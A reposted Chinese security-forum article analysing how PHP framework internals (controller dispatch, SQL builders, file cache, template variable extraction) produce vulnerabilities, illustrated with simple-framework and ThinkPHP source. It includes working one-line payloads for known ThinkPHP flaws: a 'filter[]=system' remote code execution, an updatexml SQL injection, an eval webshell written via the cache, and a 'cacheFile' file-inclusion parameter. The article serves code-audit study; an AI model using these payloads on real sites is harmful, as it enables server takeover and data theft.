安全矩阵

 找回密码
 立即注册
搜索
查看: 4243|回复: 0

简单理解 PHP 框架可能产生的安全问题

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-4-16 17:29:15 | 显示全部楼层 |阅读模式
本文转自:简单理解 PHP 框架可能产生的安全问题

前几天看到某大牛对 PbootCMS 的代码审计,突然明白了底层逻辑对 cms 审计的重要性
开发者自写的框架的审计一般是 框架实现->调用地点, simple-framework 是一个简单的框架实现, 如果仅关注框架实现,它是一个很好的选择.,本文以 simple-framework 和 thinphp 为例,重点关注框架的底层实现可能产生的问题
0X01 框架简介
现在的 php 框架,一般都是单一入口
  1. define('SF_PATH',dirname(__DIR__));
  2. require_once(SF_PATH.'/src/Sf.php');
  3. require_once(__DIR__ . '/../vendor/autoload.php');
  4. ini_set("display_errors", "On");
  5. error_reporting(E_ALL | E_STRICT);
  6. $application = new \sf\web\Application();
  7. $application->run();
复制代码

加载基础文件后,引入自动加载机制,调用框架类,处理请求并发送响应
那么框架类都要做什么?
框架类会将请求封装成 Resquest 对象,并且解析路由,调用对应的 controller 处理,然后返回 Response 对象,并且框架会提供一些辅助工具, 如 缓存, 模板, model 。
接下来,就看看框架在进行相应出来时可能会产生什么问题.

0x02 控制器调用
  1. $router = $_GET['r'];
  2. list($controllerName, $actionName) = explode('/',$router);
  3. $ucController = ucfirst($controllerName);
  4. $controllerNameAll = 'app\\controllers\\'.$ucController.'Controller';
  5. $controller = new $controllerNameAll();
  6. $controller ->id = $controllerName;
  7. $controller -> action = $actionName;
  8. return call_user_func([$controller,'action'.ucfirst($actionName)]);
复制代码
框架类对控制器的调用是通过 call_user_func 实现的,如果对控制器和方法没有做好校验,就可能导致任意方法调用,进而导致代码执行,thinphp 两个 rce 漏洞都和这个相关
  1. // ./thinkphp/library/think/route/Dispatch.php  
  2.   public function exec()
  3. {
  4.                 ...
  5.             // 实例化控制器
  6.             $instance = $this->app->controller($this->controller,
  7.                   ...
  8.             $action = $this->actionName . $this->rule->getConfig('action_suffix');
  9.                 ....
  10.                 $reflect    = new ReflectionMethod($instance, $action);
  11.                 $methodName = $reflect->getName();
  12.                             ...
  13.                 $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
  14.                 // 自动获取请求变量
  15.                 $vars = $this->rule->getConfig('url_param_type')
  16.                 ? $this->request->route()
  17.                 : $this->request->param();
  18.                 $vars = array_merge($vars, $this->param);
  19.                             ....
  20.             $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
复制代码
类比 simple-framework 框架, thinphp 要做的也是获取控制器名,方法名,和参数,然后利用类似call_user_func进行执行.这样很会导致调用 任意类的任意方法.
thinphp 使用反射机制来实现控制器调用
  1. $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
复制代码


如果没有开启强制路由,传入
  1. ?s=index/\think\Request/input&filter[]=system&data=pwd
复制代码

此时 $this->controller 为 \think\Request,\$this->actionName 为 input, 最终调用了 request 对象下了 input 方法, input 方法为了支持自定义过滤器存在 call_user_func 函数,最终导致代码执行

0X03 model
Model 类的作用是映射数据库表,进行增删改查操作,并且返回 Model 对象,
Model 对象是把数据库指定表中的一行数据映射,并有增删改查的操作方法(利用主键,构造 where,还是调用 Model 类的方法实现).
model 模型会实例化一个数据库连接对象,进行数据库操作
  1. public static function updateAll($condition, $attributes)
  2. {
  3.         $sql = 'update '. static::tableName();
  4.         $params = [];
  5.         
  6.         if(!empty($attributes)){
  7.             $sql .= ' set ';
  8.             $params = array_values($attributes);
  9.             $keys = [];
  10.             foreach($attributes as $key => $value){
  11.                 array_push($keys, "$key = ?");
  12.             }
  13.             $sql .= implode(' , ', $keys);
  14.         }
  15.         list($where, $param) = static::buildWhere($condition);
  16.         $sql .= $where;
  17.         // array_push($params, $param[0]);
  18.         $params =array_merge($params, $param);
  19.         $stmt = static::getDb()->prepare($sql);
  20.         $execResult = $stmt->execute($params);
  21.         if ($execResult){
  22.             $execResult = $stmt->rowCount();
  23.         }
  24.         return $execResult;
  25.     }
复制代码

以 update 的实现为例, 代码的大体逻辑是将 update 的 set 部分拼接好然后调用增删改查都可用的 buildwhere, 构造 where 语句, 然后进行 sql 执行。
可见,在底层既有 key 的拼接,又有 value 的拼接,如果没有做好过滤,很容易产生 sql 注入,尤其是很多开发者为了扩建功能,提供一些新的支持,也会导致各种各样的问题,
虽然这个底层用了预编译,可能利用价值不高


thinkphp insert 方法注入
版本5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5

  1. //控制器设置
  2. $username = request()->get('username/a');
  3. db('users')->insert(['username' => $username]);
  4. return 'Update success';
  5. //payload
  6. index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
复制代码
对应 simple-framework 框架, thinkphp 的 db/Query 类下的 insert 实现要做的也是, 构建 sql 语句,然后预编译执行
  1. // library/db/Query
  2. // 删除了部分不必要代码
  3.     public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
  4. {
  5.         // 分析查询表达式
  6.         $options = $this->parseExpress();
  7.         $data    = array_merge($options['data'], $data);
  8.         // 生成SQL语句
  9.         $sql = $this->builder->insert($data, $options, $replace);
  10.         // 获取参数绑定
  11.         $bind = $this->getBind();
  12.         // 执行操作
  13.         $result = 0 === $sql ? 0 : $this->execute($sql, $bind);
  14.         return $result;
复制代码
thinphp 前面对表达式进行了分析,不过不影响我们的 payload
我们跟进$this->builder->insert($data, $options, $replace);,看语句是怎么构建的

  1. $data = $this->parseData($data, $options);
  2.         $fields = array_keys($data);
  3.         $values = array_values($data);
  4.         $sql = str_replace(
  5.             ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
  6.             [
  7.                 $replace ? 'REPLACE' : 'INSERT',
  8.                 $this->parseTable($options['table'], $options),
  9.                 implode(' , ', $fields),
  10.                 implode(' , ', $values),
  11.                 $this->parseComment($options['comment']),
  12.             ], $this->insertSql);
  13.             // $this->insertSql=%INSERT% INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT%
  14.         return $sql;
  15.     }
复制代码

可以看到,先解析要插入的数据,然后替换模板进行插入,我们跟进 parseData 方法
  1. foreach ($data as $key => $val) {
  2.             } elseif (is_array($val) && !empty($val)) {
  3.                 switch ($val[0]) {
  4.                     case 'exp':
  5.                         $result[$item] = $val[1];
  6.                         break;
  7.                     case 'inc':
  8.                         $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
  9.                         break;
  10.                     case 'dec':
  11.                         $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
  12.                         break;
  13.                 }
复制代码

在 parseData, thinphp 为 insert 数组的插入提供了额外的支持, 如果数组的第一个字段是 exp,则直接执行第二个字段的 sql 语句,
在 thinkphp3 的时候,全局没有过滤 exp 也曾出过注入漏洞, 现在 thinphp 默认会将外部输入的数组中的 exp 后面加一个空格,所以这里匹配不到
但这里的 inc, 全局没有过滤,而又直接拼接了 $val[1] 和 $val[2] 导致注入漏洞的产生,
这个地方在 5.1.6<=ThinkPHP<=5.1.7 , 因为新增了默认处理, 还出过 update 注入


一些可能导致注入的情况总结
因为框架要扩展各种各样的函数,会出现各种复杂的情况,很容易导致注入漏洞的产生.
1、order by 字段
因为传入的是表名,导致一般单引号,双引号的防御失效, 参考 5.1.16<=ThinkPHP5<=5.1.22, order by 方法注入
2、聚合函数
还是反引号的问题,参考 5.0.0<=ThinkPHP<=5.0.21, 5.1.3<=ThinkPHP5<=5.1.25 聚会函数注入
3、开发者扩展的新功能
insert 支持二维数组插入多条数据,而全局过滤没有过滤 key 导致利用 key 进行注入,参考 PbootCMS
4、还有数组未过滤 key,然后拼接到 buildwhere 语句的字段名导致注入


0X04 缓存
  1. interface CacheInterface{
  2.     public function buildKey($key);
  3.     public function get($key);
  4.     public function exists($key);
  5.     public function mget($keys);
  6.     public function set($key, $value,$duration = 0);
  7.     public function mset($items, $duration = 0);
  8.     public function add($key, $value, $duration = 0);
  9.     public function madd($items, $duration = 0);
  10.     public function delete($key);
  11.     public function flush();
  12. }
复制代码

缓存组件,一般在扩展的组件中

会提供类似 set 和 get 方法,将想要缓存的数据写入文件或数据库,方便下次读取
如果使用文件驱动类,一般的操作是利用 $key 构建文件名, 然后放在 runtime 目录,如果网站是直接安装的根目录的,那么 runtime 目录是可以直接访问的有些框架为了防止用户直接访问到缓存数据,将文件名设置为 xx.php, 则可能导致 rce
set 方法会构建文件名,失效时间,然后把数据存入文件
  1. public function set($key, $value, $duration = 0){
  2. $key = $this->buildKey($key);
  3. $cacheFile = $this->cachePath.$key;
  4. $value = serialize($value);
  5. if(@file_put_contents($cacheFile,$value,LOCK_EX)!==false){
  6. if($duration<=0){
  7. $duration = 31536000;
  8. }
  9. # 用修改时间,标志缓存结束时间
  10. return touch($cacheFile,$duration+time());
  11. }
  12. }
复制代码
5.0.0<=ThinkPHP5<=5.0.10 缓存文件 getshell

  1. //控制器,需要创建对应模板
  2. use think\Cache;
  3.         Cache::set("name",input("get.username"));
  4.         return 'Cache success';
  5. // payload
  6. index/?username=wendell123%0d%0a@eval($_GET[_]);//
复制代码

在 thinphp 的 Cache 类的 set 中,先通过单例模式 init 方法,创建一个实例, 默认为 file,
既调用think\cache\driver\File的 set 方法
  1. public static function set($name, $value, $expire = null)
  2. {
  3. self::$writeTimes++;
  4. return self::init()->set($name, $value, $expire);
  5. }
复制代码
跟一下
  1. public function set($name, $value, $expire = null)
  2. {
  3.         if (is_null($expire)) {
  4.             $expire = $this->options['expire'];
  5.         }
  6.         if ($expire instanceof \DateTime) {
  7.             $expire = $expire->getTimestamp() - time();
  8.         }
  9.         $filename = $this->getCacheKey($name, true);
  10.         if ($this->tag && !is_file($filename)) {
  11.             $first = true;
  12.         }
  13.         $data = serialize($value);
  14.         if ($this->options['data_compress'] && function_exists('gzcompress')) {
  15.             //数据压缩
  16.             $data = gzcompress($data, 3);
  17.         }
  18.         $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
  19.         $result = file_put_contents($filename, $data);
  20.         if ($result) {
  21.             isset($first) && $this->setTagItem($filename);
  22.             clearstatcache();
  23.             return true;
  24.         } else {
  25.             return false;
  26.         }
  27.     }
复制代码

虽然代码很多,类比 simple-framework 的实现,它要做的还是设置失效时间,然后将数据序列化,最后存入文件中,重点是这里
  1. $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
复制代码
可以看到 thinphp 是将数据写在 // 后,只要利用换行绕过,写入文件后,即可 getshell.

0X05 模板
  1.   public function compile($file = null,$params = [])
  2. {
  3.         $path = '../views/'.$file.'.sf';
  4.         extract($params);
  5.         if(!$this->isExpired($path)){
  6.             $compiled = $this->getComiledPath($path);
  7.             require_once $compiled;
  8.          }
复制代码

控制器,调用模板的渲染方法,并且传入数据,最后返回 html 结果.

php 模板的实现方式一般为,将模板中的 {{name}} 替换为对应的 php 代码,如
  1. <?php echo htmlentities(isset( $title ) ?  $title  : null) ?>
复制代码

并且对文件进行缓存,下次使用时,判断缓存不过期便,直接读取,并把用户传入变量用 extract 扩展到全局,然后进行包含操作,输出内容
在 extract($params),可能会有变量覆盖,进而导致任意文件包含

5.0.0<=ThinkPHP5<=5.0.185.1.0<=ThinkPHP<=5.1.10 任意文件包含
  1. //控制器,需要创建对应模板
  2. $this->assign(request()->get());
  3.         return $this->fetch();
  4. // payload
  5. index/index/index?cacheFile=evil.php
复制代码

在 Template 的实现部分
  1. public function fetch($template, $vars = [], $config = [])
  2. {
  3.         if ($vars) {
  4.             $this->data = $vars;
  5.         }
  6.         if ($config) {
  7.             $this->config($config);
  8.         }
  9.         if (!empty($this->config['cache_id']) && $this->config['display_cache']) {
  10.             // 读取渲染缓存
  11.             $cacheContent = Cache::get($this->config['cache_id']);
  12.             if (false !== $cacheContent) {
  13.                 echo $cacheContent;
  14.                 return;
  15.             }
  16.         }
  17.         $template = $this->parseTemplateFile($template);
  18.         if ($template) {
  19.             $cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($this->config['layout_name'] . $template) . '.' . ltrim($this->config['cache_suffix'], '.');
  20.             if (!$this->checkCache($cacheFile)) {
  21.                 // 缓存无效 重新模板编译
  22.                 $content = file_get_contents($template);
  23.                 $this->compiler($content, $cacheFile);
  24.             }
  25.             // 页面缓存
  26.             ob_start();
  27.             ob_implicit_flush(0);
  28.             // 读取编译存储
  29.             $this->storage->read($cacheFile, $this->data);
  30.             // 获取并清空缓存
  31.             $content = ob_get_clean();
  32.             if (!empty($this->config['cache_id']) && $this->config['display_cache']) {
  33.                 // 缓存页面输出
  34.                 Cache::set($this->config['cache_id'], $content, $this->config['cache_time']);
  35.             }
  36.             echo $content;
  37.         }
复制代码
上述代码也是相同的逻辑,重点看

  1. $this->storage->read($cacheFile, $this->data);
复制代码

模板文件的加载部分
  1. public function read($cacheFile, $vars = [])
  2. {
  3.         if (!empty($vars) && is_array($vars)) {
  4.             // 模板阵列变量分解成为独立变量
  5.             extract($vars, EXTR_OVERWRITE);
  6.         }
  7.         //载入模版缓存文件
  8.         include $cacheFile;
  9.     }
复制代码

可以看到,thinphp 在处理 vars,直接覆盖了变量,如果传入 $cachefile,则导致任意文件包含


总结
本文只是列一些框架的常见组件可能存在的问题,并没有很细致的进行分析,可能不全面,希望和师傅们一起学习,如果文章中出现了错误请师傅们指正.



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-19 09:00 , Processed in 0.022184 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表